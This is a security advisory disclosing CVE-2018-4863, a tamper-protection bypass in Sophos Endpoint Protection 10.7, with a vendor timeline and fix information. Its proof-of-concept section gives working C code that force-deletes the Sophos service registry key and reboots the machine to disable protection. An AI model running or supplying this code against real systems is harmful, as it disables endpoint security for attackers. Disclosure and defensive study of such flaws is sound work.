Sophos Endpoint Protection 10.7 - Tamper-Protection Bypass

[+] Credits: John Page (aka hyp3rlinx)  
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/SOPHOS-ENDPOINT-PROTECTION-v10.7-TAMPER-PROTECTION-BYPASS-CVE-2018-4863.txt
[+] ISR: Apparition Security          
 

Vendor:
=============
www.sophos.com

 

Product:
===========
Sophos Endpoint Protection v10.7

Sophos Endpoint Protection helps secure your workstation by adding prevention, detection, and response technology on top of your operating system.
Sophos Endpoint Protection is designed for workstations running Windows and macOS. It adds exploit technique mitigations, CryptoGuard anti-ransomware,
anti-malware, web security, malicious traffic detection, and deep system cleanup.

 

Vulnerability Type:
===================
Tamper Protection Bypass

CVE Reference:
==============
CVE-2018-4863

Security Issue:
================
Sophos Endpoint Protection offers an enhanced tamper protection mechanism disallowing changes to be made to the Windows registry
by creating and setting a special registry key "SEDEnabled" as follows:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sophos Endpoint Defense\TamperProtection\Config
Create the following registry key:
"SEDEnabled"=dword:00000001"

From "https://community.sophos.com/kb/en-us/124376" documentation:
"You must enable the basic Tamper Protection feature on an endpoint in order to use the Enhanced Tamper Protection"

However, this protection mechanism can be bypassed by deleting the following registry key as it is not sufficiently protected.
"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\Sophos Endpoint Defense\"

By deleting this key this bypasses the Sophos Endpoint "Enhanced Tamper Protection" once the system has been rebooted.
Attackers can then create arbitrary registry keys or edit keys and settings under the protected "tamper" protection config key.
The issue undermines the integrity of the endpoint protection as deleting this key stops the tamper protect driver from loading.

SAV OPM customers are unaffected from 10.8.1 onwards, all Central managed customers customers are unaffected.
All SAV OPM Preview subscribers have had the fix since 2018-03-01.

 

Exploit/POC:
=============
Compile the below malicious POC "C" code and run on target, PC will reboot then we pwn.

gcc -o sophos-poc.exe sophos-poc.c

"sophos-poc.c"

/***SOPHOS ANTIVIRUS ENDPOINT ENHANCED TAMPER PROTECTION BYPASS
Even with "SEDEnabled"=dword:00000001" set in registry to prevent tampering
https://community.sophos.com/kb/en-us/124376
By hyp3rlinx **/

int main(void){
 system("reg delete \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\Sophos Endpoint Defense\"  /f");
 system("shutdown -t 0 -r -f");
return 0;
}

 

Network Access:
===============
Local

 

Severity:
=========
High

 

Disclosure Timeline:
=============================
Vendor Notification: December 4, 2017
Vendor Acknowledgement: December 12, 2017
Vendor release fixes: March 1, 2018
Vendor request additional time before disclosing.
additional time has passed.
April 4, 2018  : Public Disclosure

 

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx